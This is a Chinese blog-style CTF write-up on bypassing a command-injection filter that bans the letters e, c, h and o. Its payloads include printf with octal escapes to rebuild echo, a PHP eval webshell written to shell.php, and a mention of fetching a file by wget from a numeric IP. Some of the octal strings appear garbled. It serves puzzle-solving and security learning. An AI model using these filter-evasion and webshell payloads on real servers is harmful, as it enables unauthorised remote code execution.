一道有趣的CTF題:Linux系統的命令注入

前言

作者:棟棟

前天無聊yy想出的蛋疼題,寫一寫其中一種解法。

這道CTF題的題目是:

目標是Linux系統的命令注入,要求必須用echo命令寫Webshell,但不能出現e、c、h、o這四個字元,cat、tee、wget、curl、less、more這些帶有關鍵字的都不行。

核心點是必須用echo,而且不能出現關鍵字,這樣使用zTrix阿里安全峰會演講中的技巧就不行了。

而且寫PHP Webshell的話,也是需要用到h的。

echo <? @`$_POST[a]`; ?>>> index.*

也可以這樣寫,但要開啟短標籤。

所以第一想到的是通過編碼,base64肯定是不行的,那如果是八進位呢? (十六進位也行哦,但可能會包含E和C)

八進位數的基數是8,採用0到7八個數字。

十六進位數的基數是16,採用的數碼是0到9和A到F。

八進位裡面不會包含關鍵字,先嘗試一下編碼echo命令,然後使用printf進行解碼。

bingo,成功把echo拿出來,那麼接下來就很簡單了吧,把整條寫Webshell語句拿出來然後用$()執行。

echo "<?php @eval($_POST[c]);?>"> shell.php

轉換為八進位是

145143150157404274771601501604010014516614115450441371201171231241334714347135517377764240764016315014515415456160150160

$() 這種寫法是會優先執行括弧里的內容,用來執行解碼後的內容,然後圖樣圖森破,echo的確被成功執行,但也把後面的內容全輸出出來了,並沒有寫入。

$(printf "151144")這樣也能執行,不懂這裡為什麼會這樣,是重定向的原因嗎?求指教。

很尷尬,不過換成這樣寫就行了,先構造出來echo語句,然後重定向符放到外面,再利用通配符寫入。

但在測試的時候,又會發現問題,「 * 」 並沒有被當作通配符去解釋,一開始以為是system()的問題,但換成exec(),shell_exec() 等可以執行命令的函數也都不行,不懂了,求指教。

辦法總是有的,完美的Payload如下:

vul=;$(printf "1451431501574042747716015016040100145166141154504413712011712312413347143471355173777642")>>`ls t*.*`

使用上頓號執行一下,先構造出文件名

至此,不用e,c、h、o 這四個字元執行echo命令並寫入Webshell就搞定啦~

實戰中這種蛋疼環境不可能遇到,即使遇到不能執行echo命令,相信各位也會有一百種Getshell的方法,過濾 > `` "" $(). 等一系列特殊字元,還可以wget 2130706433(IP的數字地址)302跳轉到ftp伺服器自動下載。

總之姿勢有很多,正是有這種不斷摸索,自己做限制然後去突破才有進步,不是嗎? :) 哦,過程中遇到的兩處問題還會繼續把它整明白。

不忘初心,Just for fun

其他推薦:

0、重磅分享 | 白帽子黑客淺談顧問式銷售與服務

1、安全觀點:企業信息安全十大痛點,你中招了?

2、成長型互聯網企業該如何構建安全團隊—第一季

3、這才是互聯網與安全團隊需要的幾種人才!

4、白帽子黑客:EX,還記得我們一起去太平山頂的約定么?

5、少年黑客:我的初戀女友,你在哪裡?

6、開春巨獻!全球TOP500安全公司到底在做些什麼

7、2015年至今國內信息安全領域那些投資那些事

8、301:淺談互聯網安全現狀與攻擊趨勢

9、招人必看!301淺談國內安全人才薪酬現狀

10、301:從安全形度淺談雲計算服務平台現狀與發展

長按二維碼關注301公眾號

合作聯繫:2036234(備註單位+名字)

推薦閱讀:

信息安全中pwn到底能用來幹什麼?
如何評價今年的0CTF?
國際國內良心的ctf比賽?
世界範圍內知名的 CTF 競賽有哪些?各有何不同?
打CTF比賽,對以後有什麼幫助嗎?含金量高嗎?

TAG:Linux | 终端命令 | CTFCaptureTheFlag |